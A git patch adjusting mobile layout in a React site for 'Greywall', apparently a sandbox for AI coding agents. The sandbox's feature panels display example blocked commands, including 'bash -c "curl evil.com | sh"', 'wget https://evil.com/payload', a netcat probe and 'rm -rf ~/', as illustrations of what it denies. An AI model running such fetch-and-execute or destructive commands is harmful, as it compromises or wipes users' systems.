From 84b16955d7024b42dcc304d16a394f67ad6e2f3e Mon Sep 17 00:00:00 2001
From: Nik L <lokhmachevnikita@gmail.com>
Date: Mon, 9 Mar 2026 14:20:30 -0400
Subject: [PATCH] fix: mobile view+minor changes

---
 app/globals.css                |  9 ++++
 components/agents.tsx          |  4 +-
 components/comparison.tsx      | 58 +++++---------------
 components/control.tsx         | 96 +++++++++++++++++-----------------
 components/getting-started.tsx | 16 +++---
 components/hero.tsx            | 14 ++---
 components/layers.tsx          |  2 +-
 components/platform-toggle.tsx |  6 +--
 8 files changed, 94 insertions(+), 111 deletions(-)

diff --git a/app/globals.css b/app/globals.css
index b58c704..f7e1c30 100644
--- a/app/globals.css
+++ b/app/globals.css
@@ -181,3 +181,12 @@ section {
 .stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
 .stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
 .stagger-children > *:nth-child(5) { animation-delay: 0.5s; }
+
+/* Hide scrollbar but keep scroll functionality */
+.scrollbar-hide {
+  -ms-overflow-style: none;
+  scrollbar-width: none;
+}
+.scrollbar-hide::-webkit-scrollbar {
+  display: none;
+}
diff --git a/components/agents.tsx b/components/agents.tsx
index ee9a4e8..fa8eeeb 100644
--- a/components/agents.tsx
+++ b/components/agents.tsx
@@ -33,14 +33,14 @@ export function Agents() {
           </p>
         </div>
 
-        <div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
+        <div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-2 sm:gap-3">
           {agents.map((agent) => (
             <a
               key={agent.name}
               href={agent.url}
               target="_blank"
               rel="noopener noreferrer"
-              className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
+              className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
             >
               <img
                 src={`https://github.com/${agent.org}.png?size=64`}
diff --git a/components/comparison.tsx b/components/comparison.tsx
index 341d1a4..8e437c3 100644
--- a/components/comparison.tsx
+++ b/components/comparison.tsx
@@ -167,24 +167,24 @@ export function Comparison() {
           </p>
         </div>
 
-        {/* Desktop table */}
-        <div className="hidden md:block rounded-lg border border-border/40 overflow-hidden">
-          <table className="w-full text-sm">
+        {/* Table — scrollable on mobile */}
+        <div className="rounded-lg border border-border/40 overflow-x-auto scrollbar-hide">
+          <table className="w-full text-sm min-w-[540px]">
             <thead>
               <tr className="border-b border-border/40 bg-card/40">
-                <th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
+                <th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
                   Feature
                 </th>
-                <th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
+                <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
                   Greywall
                 </th>
-                <th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
+                <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
                   Safehouse
                 </th>
-                <th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
-                  Claude Sandbox
+                <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
+                  Claude
                 </th>
-                <th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
+                <th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
                   Containers
                 </th>
               </tr>
@@ -195,25 +195,25 @@ export function Comparison() {
                   key={row.feature}
                   className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
                 >
-                  <td className="py-3 px-4 font-serif text-sm text-foreground">
+                  <td className="py-2.5 sm:py-3 px-3 sm:px-4 font-serif text-sm text-foreground whitespace-nowrap">
                     {row.feature}
                   </td>
-                  <td className="py-3 px-3 text-center">
+                  <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
                     <div className="flex justify-center">
                       <CellIcon value={row.greywall} />
                     </div>
                   </td>
-                  <td className="py-3 px-3 text-center">
+                  <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
                     <div className="flex justify-center">
                       <CellIcon value={row.safehouse} />
                     </div>
                   </td>
-                  <td className="py-3 px-3 text-center">
+                  <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
                     <div className="flex justify-center">
                       <CellIcon value={row.claudeSandbox} />
                     </div>
                   </td>
-                  <td className="py-3 px-3 text-center">
+                  <td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
                     <div className="flex justify-center">
                       <CellIcon value={row.containers} />
                     </div>
@@ -224,36 +224,6 @@ export function Comparison() {
           </table>
         </div>
 
-        {/* Mobile cards */}
-        <div className="md:hidden space-y-2">
-          {rows.map((row) => (
-            <div
-              key={row.feature}
-              className="p-4 rounded-lg border border-border/30 bg-card/20"
-            >
-              <div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
-              <div className="grid grid-cols-4 gap-1.5 text-center">
-                <div>
-                  <div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
-                  <div className="flex justify-center"><CellIcon value={row.greywall} /></div>
-                </div>
-                <div>
-                  <div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
-                  <div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
-                </div>
-                <div>
-                  <div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
-                  <div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
-                </div>
-                <div>
-                  <div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
-                  <div className="flex justify-center"><CellIcon value={row.containers} /></div>
-                </div>
-              </div>
-            </div>
-          ))}
-        </div>
-
         {/* Legend */}
         <div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
           <div className="flex items-center gap-1.5">
diff --git a/components/control.tsx b/components/control.tsx
index c3f3b2a..3f56c03 100644
--- a/components/control.tsx
+++ b/components/control.tsx
@@ -58,19 +58,19 @@ export function Control() {
           <PlatformToggle />
         </div>
 
-        <div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
+        <div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
           {/* Directory tree visualization */}
-          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
+          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
             <div className="flex items-center gap-3 mb-5">
               <FolderLock className="h-5 w-5 text-primary" />
               <h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
             </div>
-            <div className="space-y-1 font-mono text-sm">
+            <div className="space-y-1 font-mono text-xs sm:text-sm">
               {tree.map((item, i) => (
-                <div key={i} className="flex items-center justify-between py-1">
-                  <span className={textColor(item.color)}>{item.path}</span>
+                <div key={i} className="flex items-center justify-between py-1 gap-2">
+                  <span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
                   <span
-                    className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
+                    className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
                   >
                     {accessLabels[item.access]}
                   </span>
@@ -84,7 +84,7 @@ export function Control() {
           </div>
 
           {/* Network isolation */}
-          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
+          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
             <div className="flex items-center gap-3 mb-5">
               <Wifi className="h-5 w-5 text-primary" />
               <h3 className="font-sans font-semibold text-sm">Network isolation</h3>
@@ -101,22 +101,22 @@ export function Control() {
                     <div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
                   </div>
                 </div>
-                <div className="space-y-2 font-mono text-xs">
-                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
-                    <span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span>
-                    <span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
+                <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
+                    <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                   </div>
-                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
-                    <span className="text-greyhaven-offwhite">npm install lodash</span>
-                    <span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
+                    <span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                   </div>
-                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
-                    <span className="text-greyhaven-offwhite">wget https://evil.com/payload</span>
-                    <span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
+                    <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                   </div>
-                  <div className="flex items-center justify-between py-1.5">
-                    <span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span>
-                    <span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
+                  <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
+                    <span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                   </div>
                 </div>
                 <p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -142,22 +142,22 @@ export function Control() {
                     </div>
                   </div>
                 </div>
-                <div className="space-y-2 font-mono text-xs">
-                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
-                    <span className="text-greyhaven-offwhite">api.anthropic.com</span>
-                    <span className="text-green-400/70 text-[10px]">VIA PROXY</span>
+                <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
+                    <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
                   </div>
-                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
-                    <span className="text-greyhaven-offwhite">registry.npmjs.org</span>
-                    <span className="text-green-400/70 text-[10px]">VIA PROXY</span>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
+                    <span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
                   </div>
-                  <div className="flex items-center justify-between py-1.5 border-b border-border/20">
-                    <span className="text-greyhaven-offwhite">evil.com (direct)</span>
-                    <span className="text-red-400/70 text-[10px]">KERNEL DENY</span>
+                  <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
+                    <span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
                   </div>
-                  <div className="flex items-center justify-between py-1.5">
-                    <span className="text-greyhaven-offwhite">analytics.vendor.io</span>
-                    <span className="text-red-400/70 text-[10px]">PROXY DENY</span>
+                  <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
+                    <span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
+                    <span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
                   </div>
                 </div>
                 <p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -169,35 +169,35 @@ export function Control() {
           </div>
 
           {/* Command blocking */}
-          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
+          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
             <div className="flex items-center gap-3 mb-5">
               <Ban className="h-5 w-5 text-primary" />
               <h3 className="font-sans font-semibold text-sm">Command blocking</h3>
             </div>
-            <div className="space-y-2 font-mono text-xs">
-              <div className="flex items-center gap-3">
+            <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
+              <div className="flex items-center gap-3 min-w-0">
                 <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
-                <span className="text-muted-foreground">git push origin main</span>
+                <span className="text-muted-foreground truncate">git push origin main</span>
               </div>
-              <div className="flex items-center gap-3">
+              <div className="flex items-center gap-3 min-w-0">
                 <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
-                <span className="text-muted-foreground">npm publish</span>
+                <span className="text-muted-foreground truncate">npm publish</span>
               </div>
-              <div className="flex items-center gap-3">
+              <div className="flex items-center gap-3 min-w-0">
                 <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
-                <span className="text-muted-foreground">rm -rf ~/</span>
+                <span className="text-muted-foreground truncate">rm -rf ~/</span>
               </div>
-              <div className="flex items-center gap-3">
+              <div className="flex items-center gap-3 min-w-0">
                 <span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
-                <span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span>
+                <span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
               </div>
-              <div className="mt-3 flex items-center gap-3">
+              <div className="mt-3 flex items-center gap-3 min-w-0">
                 <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
-                <span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span>
+                <span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
               </div>
-              <div className="flex items-center gap-3">
+              <div className="flex items-center gap-3 min-w-0">
                 <span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
-                <span className="text-greyhaven-offwhite">npm install lodash</span>
+                <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
               </div>
             </div>
             <p className="text-xs text-muted-foreground font-serif mt-4">
@@ -206,7 +206,7 @@ export function Control() {
           </div>
 
           {/* Learning mode */}
-          <div className="p-6 rounded-lg border border-border/40 bg-card/30">
+          <div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
             <div className="flex items-center gap-3 mb-5">
               <GraduationCap className="h-5 w-5 text-primary" />
               <h3 className="font-sans font-semibold text-sm">Learning mode</h3>
diff --git a/components/getting-started.tsx b/components/getting-started.tsx
index 1e087fd..a5643e8 100644
--- a/components/getting-started.tsx
+++ b/components/getting-started.tsx
@@ -75,17 +75,19 @@ export function GettingStarted() {
 
         <div className="space-y-4 max-w-2xl">
           {steps.map((step, i) => (
-            <div key={`${platform}-${i}`} className="flex items-center gap-4">
-              <div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold">
+            <div key={`${platform}-${i}`} className="flex items-start sm:items-center gap-3 sm:gap-4">
+              <div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold mt-3 sm:mt-0">
                 {i + 1}
               </div>
-              <div className="flex-1 code-block p-3 flex items-center gap-3">
-                <span className="text-xs font-sans text-muted-foreground shrink-0 w-24">
+              <div className="flex-1 min-w-0 code-block p-3 flex items-center gap-3">
+                <span className="text-xs font-sans text-muted-foreground shrink-0 w-20 sm:w-24 hidden sm:block">
                   {step.label}
                 </span>
-                <code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate">
-                  {step.cmd}
-                </code>
+                <div className="flex-1 min-w-0 overflow-x-auto scrollbar-hide">
+                  <code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
+                    {step.cmd}
+                  </code>
+                </div>
                 <button
                   onClick={() => copy(step.cmd, i)}
                   className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"
diff --git a/components/hero.tsx b/components/hero.tsx
index 825b29c..0e2d97c 100644
--- a/components/hero.tsx
+++ b/components/hero.tsx
@@ -15,7 +15,7 @@ export function Hero() {
   }
 
   return (
-    <section className="relative pt-32 pb-24 px-6 overflow-hidden">
+    <section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
       {/* Subtle background gradient */}
       <div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
       {/* Grid pattern */}
@@ -63,11 +63,13 @@ export function Hero() {
 
         {/* Install command */}
         <div className="mx-auto max-w-5xl">
-          <div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
-            <code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
-              <span className="text-muted-foreground">$ </span>
-              {installCmd}
-            </code>
+          <div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center justify-between gap-3">
+            <div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
+              <code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
+                <span className="text-muted-foreground">$ </span>
+                {installCmd}
+              </code>
+            </div>
             <button
               onClick={copyInstall}
               className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
diff --git a/components/layers.tsx b/components/layers.tsx
index b5177dd..02c06f8 100644
--- a/components/layers.tsx
+++ b/components/layers.tsx
@@ -110,7 +110,7 @@ export function Layers() {
           {layers.map((layer) => (
             <div
               key={layer.name}
-              className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
+              className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
             >
               <div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
                 <layer.icon className="h-5 w-5" />
diff --git a/components/platform-toggle.tsx b/components/platform-toggle.tsx
index 307fabd..dce0078 100644
--- a/components/platform-toggle.tsx
+++ b/components/platform-toggle.tsx
@@ -34,10 +34,10 @@ export function PlatformToggle() {
   const [platform, setPlatform] = usePlatform()
 
   return (
-    <div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5">
+    <div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5 shrink-0 self-start">
       <button
         onClick={() => setPlatform('linux')}
-        className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
+        className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
           platform === 'linux'
             ? 'bg-primary text-primary-foreground shadow-sm'
             : 'text-muted-foreground hover:text-foreground'
@@ -47,7 +47,7 @@ export function PlatformToggle() {
       </button>
       <button
         onClick={() => setPlatform('macos')}
-        className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
+        className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
           platform === 'macos'
             ? 'bg-primary text-primary-foreground shadow-sm'
             : 'text-muted-foreground hover:text-foreground'